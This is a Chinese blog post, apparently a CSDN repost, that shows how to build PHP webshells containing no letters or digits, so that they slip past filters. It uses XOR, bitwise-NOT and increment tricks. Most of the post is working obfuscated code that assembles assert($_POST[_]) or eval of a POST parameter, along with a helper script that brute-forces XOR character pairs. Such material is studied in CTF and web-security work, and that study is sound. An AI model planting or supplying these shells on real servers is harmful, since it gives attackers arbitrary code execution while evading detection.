无字母数字的webshell

构造无数字字母的webshell

1.异或

在这里插入图片描述
可以看到将A和?进行异或可以得到~

异或的过程就是将字符转化为ascii,再变为二进制进行异或
这里就是将"A"的Ascii码的二进制与"?"的Ascii码的二进制进行异或得到一个新的二进制,在变为Ascii码,最后在变为字符,也就是~

首先我们实现构造assert($_POST[_]);

<?php
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j < 256; $j++) { 
		if(chr($i ^ $j) == 'a'){
			echo(urlencode(chr($i)) . "  " . urlencode(chr($j)));
			echo "\n";
		}
	}
}
//对于任何一个字符,我们都可以用这段php代码生成,只需要把a换成你需要的字符就可以了具体情况具体构造
?>

在这里插入图片描述在这里插入图片描述

以此类推,最后得到webshell

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

在这里插入图片描述

记住不能把以上代码保存成php文件直接post,因为其中包含了不可见字符,因为是用url加密过的,,直接放在php文件里面无法解析

<?php
 $a = ("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");//_POST
 eval($$a[_]);
?>
//"`{{{"^"?<>/"     _GET的构造

在这里插入图片描述

这种构造是直接在php代码上进行,也是可以的

2.取反
对于取反我没有写出脚本来实现定点赋值,就直接贴几个其他大佬的shell了

<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1
 
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert
 
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST
 
$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])
?>

三.变量自增

‘a’++ => ‘b’,‘b’++ => ‘c’
根据字母之间的ascii码的关系,知道一个a就可以得到a-z中的所有字符
下面就是考虑如何得到a
数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:

<?php
echo(''.[]);
?>

在这里插入图片描述

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
?>
参考
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://blog.csdn.net/weixin_42665043/article/details/82142242
发布了32 篇原创文章 · 获赞 0 · 访问量 1338

猜你喜欢

转载自blog.csdn.net/weixin_43940853/article/details/104553873